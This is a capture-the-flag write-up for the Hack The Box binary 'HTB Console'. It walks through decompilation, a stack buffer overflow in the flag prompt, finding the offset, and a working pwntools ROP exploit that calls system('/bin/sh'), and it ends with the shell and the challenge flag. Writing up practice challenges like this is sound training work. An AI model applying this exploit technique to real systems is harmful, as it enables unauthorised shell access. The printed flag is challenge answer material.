HTB Console

1) decompiled it

```
1
2 void FUN_00401397(void)
3
4 {
5   char local_18 [16];
6
7   FUN_00401196();
8   puts("Welcome HTB Console Version 0.1 Beta.");
9   do {
10    printf(">> ");
11    fgets(local_18,0x10,stdin);
12    FUN_00401201(local_18);
13    memset(local_18,0,0x10);
14  } while( true );
15 }
16
```

```
void FUN_00401201(char *param_1)

{
  int iVar1;
  char local_18 [16];

  iVar1 = strcmp(param_1,"id\n");
  if (iVar1 == 0) {
    puts("guest(1337) guest(1337) HTB(31337)");
  }
  else {
    iVar1 = strcmp(param_1,"dir\n");
    if (iVar1 == 0) {
      puts("/home/HTB");
    }
    else {
      iVar1 = strcmp(param_1,"flag\n");
      if (iVar1 == 0) {
        printf("Enter flag: ");
        fgets(local_18,0x30,stdin);
        puts("Whoops, wrong flag!");
      }
      else {
        iVar1 = strcmp(param_1,"hof\n");
        if (iVar1 == 0) {
          puts("Register yourself for HTB Hall of Fame!");
          printf("Enter your name: ");
          fgets(&DAT_004040b0,10,stdin);
          puts("See you on HoF soon! :)");
        }
        else {
          iVar1 = strcmp(param_1,"ls\n");
          if (iVar1 == 0) {
            puts("- Boxes");
            puts("- Challenges");
            puts("- Endgames");
            puts("- Fortress");
            puts("- Battlegrounds");
          }
          else {
            iVar1 = strcmp(param_1,"date\n");
            if (iVar1 == 0) {
              system("date");
            }
            else {
              puts("Unrecognized command.");
            }
          }
        }
      }
    }
```

2) binary is not position independent so we can just find address

```
┌──(vigneswar㉿VigneswarPC)-[~/Reverse/HTB Console]
└─$ checksec htb-console
[*] '/home/vigneswar/Reverse/HTB Console/htb-console'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

3) found vulnerable part

```
char local_18 [16];

iVar1 = strcmp(param_1,"id\n");
if (iVar1 == 0) {
  puts("guest(1337) guest(1337) HTB(31337)");
}
else {
  iVar1 = strcmp(param_1,"dir\n");
  if (iVar1 == 0) {
    puts("/home/HTB");
  }
  else {
    iVar1 = strcmp(param_1,"flag\n");
    if (iVar1 == 0) {
      printf("Enter flag: ");
      fgets(local_18,0x30,stdin);
      puts("Whoops, wrong flag!");
    }
```

4) we get segmentation fault

```
┌──(vigneswar㉿VigneswarPC)-[~/Reverse/HTB Console]
└─$ ./htb-console
Welcome HTB Console Version 0.1 Beta.
>> flag
Enter flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Whoops, wrong flag!
zsh: segmentation fault  ./htb-console
```

5) found offset

```
┌──(vigneswar㉿VigneswarPC)-[~/Reverse/HTB Console]
└─$ gdb -q ./htb-console
GEF for linux ready, type `gef' to start, `gef config' to configure
89 commands loaded and 5 functions added for GDB 13.2 in 0.00ms using Python engine 3.11
Reading symbols from ./htb-console...
(No debugging symbols found in ./htb-console)
gef➤  run
Starting program: /home/vigneswar/Reverse/HTB Console/htb-console
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome HTB Console Version 0.1 Beta.
>> flag
Enter flag: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5
Whoops, wrong flag!
```

```
gef➤  x/a $rsp
0x7fffffffdcc8: 0x6241396141386141
gef➤  exit

┌──(vigneswar㉿VigneswarPC)-[~/Reverse/HTB Console]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x6241396141386141
[*] Exact match at offset 24
```

6) Steps of exploitation
1) write /bin/sh into bss section to create a pointer that holds /bin/sh
2) write the instructions addresses into stack: 24*fill + address of pop rdi; ret || address of /bin/sh pointer || address of system

7) made payload

```python
from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
signal.signal(signal.SIGALRM, signal.SIG_IGN)
app = process('./htb-console', stdin=PTY, stdout=PTY, stderr=PTY)
gdb.attach(app, gdbscript='b *puts\nb* gets\nc')

system = 0x0000000000401381
cmd = 0x00000000004040b0
pop_rdi_ret = 0x0000000000401473
app.sendlineafter(b'>>', b'hof').decode()
app.sendlineafter(b':', b'/bin/sh').decode()
app.sendlineafter(b'>>', b'flag').decode()
payload = b'\x55'*24+p64(pop_rdi_ret)+p64(cmd)+p64(system)
app.sendlineafter(b':', payload).decode()
app.recvuntil(b'!')
app.interactive()
```

8) memory

```
0x00007ffea2c464e8|+0x0000: 0x0000000000401473  →   pop rdi      ← $rsp
0x00007ffea2c464f0|+0x0008: 0x00000000004040b0  →   "/bin/sh\n"
0x00007ffea2c464f8|+0x0010: 0x0000000000401381  →   call 0x401040 <system@plt
>
```

ret loads pop rdi; ret address into $rip
pop rdi executes to load /bin/sh into rdi
ret pops address of system into $rip
system call gives us shell

9) got flag

```
┌──(vigneswar㉿VigneswarPC)-[~/Reverse/HTB Console]
└─$ python3 exploit.py

$ ls
console
flag.txt
$ cat flag.txt
HTB{fl@g_a$_a_s3rv1c3?}
$
```